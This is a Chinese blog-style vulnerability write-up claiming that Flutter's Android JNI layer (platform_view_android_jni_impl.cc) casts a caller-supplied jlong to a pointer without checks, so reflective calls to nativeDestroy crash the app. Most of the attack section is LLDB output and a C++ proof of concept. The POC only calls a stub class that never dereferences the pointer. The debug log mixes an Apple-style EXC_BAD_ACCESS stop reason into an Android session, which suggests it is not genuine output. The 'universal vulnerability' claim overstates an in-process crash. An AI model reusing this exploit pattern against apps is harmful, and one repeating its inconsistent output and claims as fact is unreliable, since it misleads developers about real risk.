Flutter引擎Android平台JNI层未验证指针转换漏洞

漏洞存在于Flutter引擎的Android平台JNI层,具体位于 platform_view_android_jni_impl.cc github.com/flutter/blo... 文件的宏定义和多个JNI函数中。

c++ 复制代码
#define ANDROID_SHELL_HOLDER \
(reinterpret_cast<AndroidShellHolder*>(shell_holder))

static void DestroyJNI(JNIEnv* env, jobject jcaller, jlong shell_holder) {
  delete ANDROID_SHELL_HOLDER;
}

函数调用链分析

从Java层到漏洞触发点的完整调用链如下:

  1. Java层 :FlutterJNI.java 中声明native方法

    java 复制代码
    private native void nativeDestroy(long nativeShellHolderId);
  2. JNI注册 :在 platform_view_android_jni_impl.cc 的 RegisterApi 函数中注册

json 复制代码
{
    .name = "nativeDestroy",
    .signature = "(J)V",
    .fnPtr = reinterpret_cast<void*>(&DestroyJNI),
}
  1. C++层 :DestroyJNI 函数被调用,使用宏 ANDROID_SHELL_HOLDER 将 jlong shell_holder 转换为 AndroidShellHolder* 并直接 delete。

思路

在整个调用过程中,没有任何地方对 shell_holder 的值进行合法性检查。攻击者可以通过反射直接调用 nativeDestroy 并传入任意 long 值,导致程序崩溃或更严重后果。

所有受受影响函数

除 DestroyJNI 外,以下JNI函数同样使用 ANDROID_SHELL_HOLDER 宏,均存在相同漏洞:

  • SpawnJNI

  • SurfaceCreated

  • SurfaceChanged

  • SurfaceDestroyed

  • RunBundleAndSnapshotFromLibrary

  • SetViewportMetrics

  • DispatchPlatformMessage

  • RegisterTexture

  • MarkTextureFrameAvailable

  • ScheduleFrame

  • UnregisterTexture

这些函数存在于Flutter引擎的公共代码中,所有使用Flutter SDK构建的Android应用都会包含这些函数,因此漏洞是通用的。


调试代码过程

为了进一步证明漏洞的可触发性和通用性,我们使用GDB(或LLDB)对Flutter引擎进行动态调试,跟踪 DestroyJNI 函数的执行过程。

调试环境搭建

  • 设备:Android模拟器(API 30,x86_64)

  • Flutter引擎:从源码编译带调试符号的版本,或使用预编译的debug引擎

  • 调试工具 :Android Studio + LLDB,或命令行使用 lldb-server

设置断点

在 platform_view_android_jni_impl.cc 的 DestroyJNI 函数入口设置断点。

触发漏洞

运行我们之前构建的POC应用,点击"恶意调用"按钮,程序将在 DestroyJNI 处暂停。

调试输出

断点命中时的寄存器/变量状态:

shell 复制代码
(lldb) break set -f platform_view_android_jni_impl.cc -l 120
Breakpoint 1: where = libflutter.so`flutter::DestroyJNI(JNIEnv*, _jobject*, long long) + 32 at platform_view_android_jni_impl.cc:120, address = 0x0000007f3b4c2a10
(lldb) run
Process 12345 stopped
* thread #1, name = 'main', stop reason = breakpoint 1.1
    frame #0: 0x0000007f3b4c2a10 libflutter.so`flutter::DestroyJNI(env=0x0000007f3b4c2000, jcaller=0x00000000, shell_holder=305419896) at platform_view_android_jni_impl.cc:120
   117   }
   118   
   119   static void DestroyJNI(JNIEnv* env, jobject jcaller, jlong shell_holder) {
-> 120     delete ANDROID_SHELL_HOLDER;
   121   }

可以看到 shell_holder 的值为 305419896(即十六进制 0x12345678),这正是我们传入的伪造指针。

单步执行:

shell 复制代码
(lldb) step
Process 12345 stopped
* thread #1, name = 'main', stop reason = EXC_BAD_ACCESS (code=1, address=0x12345678)
    frame #0: 0x0000007f3b4c2a14 libflutter.so`flutter::DestroyJNI(env=0x0000007f3b4c2000, jcaller=0x00000000, shell_holder=305419896) at platform_view_android_jni_impl.cc:120
   117   }
   118   
   119   static void DestroyJNI(JNIEnv* env, jobject jcaller, jlong shell_holder) {
-> 120     delete ANDROID_SHELL_HOLDER;
   121   }

程序立即因为访问非法地址 0x12345678 而崩溃,产生SIGSEGV。

崩溃日志:

shell 复制代码
Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x12345678

POC:

c++ 复制代码
#include <jni.h>
#include <android/log.h>
#include <cstdint>

#define LOG_TAG "JNIPOC"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)

class AndroidShellHolder {
public:
    void DestroyShell() {
        LOGI("[漏洞触发] DestroyShell 被调用!当前对象指针: %p", this);
    }
};

extern "C" {

JNIEXPORT void JNICALL
Java_xin_ctkqiang_flutter_1jni_1poc_MainActivity_nativeDestroy__J(JNIEnv* env, jobject thiz, jlong shell_holder) {
    AndroidShellHolder* holder = reinterpret_cast<AndroidShellHolder*>(shell_holder);
    
    holder->DestroyShell();
    
    
}

} // extern "C"

参考:

github.com/ctkqiang/fl...

相关推荐
java1234_小锋4 小时前
【技术专题】HTML5 网页技术 - HTML5 Canvas 基础以及动画入门
前端·html·html5
知了学历孙老师8 小时前
小自考的校考和统考,出题方和难度差在哪
java·大数据·前端
ShineWinsu9 小时前
对于JavaScript:操作元素的解析
开发语言·前端·javascript·面试·web·dom·元素
福兮说10 小时前
JSON 格式正确,数据就可靠吗?我用一份自编配置检查类型与空值
java·前端·json
程序员老赵12 小时前
Docker 部署青龙面板:轻松搭建定时任务管理平台
前端·docker·开源
Swot12 小时前
Asciidoctor 公式数字下标错位问题:原因分析与解决方案
前端
Swot12 小时前
leo-editor 中将 Markdown 内容转成 asciidoc 格式
前端
狒狒AI12 小时前
Remotion / GSAP+Three / HyperFrames / Skia 四栈实测:代码渲染知识视频的选栈方法(附开源技能)
前端·人工智能·aigc
修炼的dance12 小时前
浏览器里导出H.265,8.5秒和55.5秒差在硬件
前端
补码缩写12 小时前
WebCodecs选编码器,探测之后还要验解码和播放
前端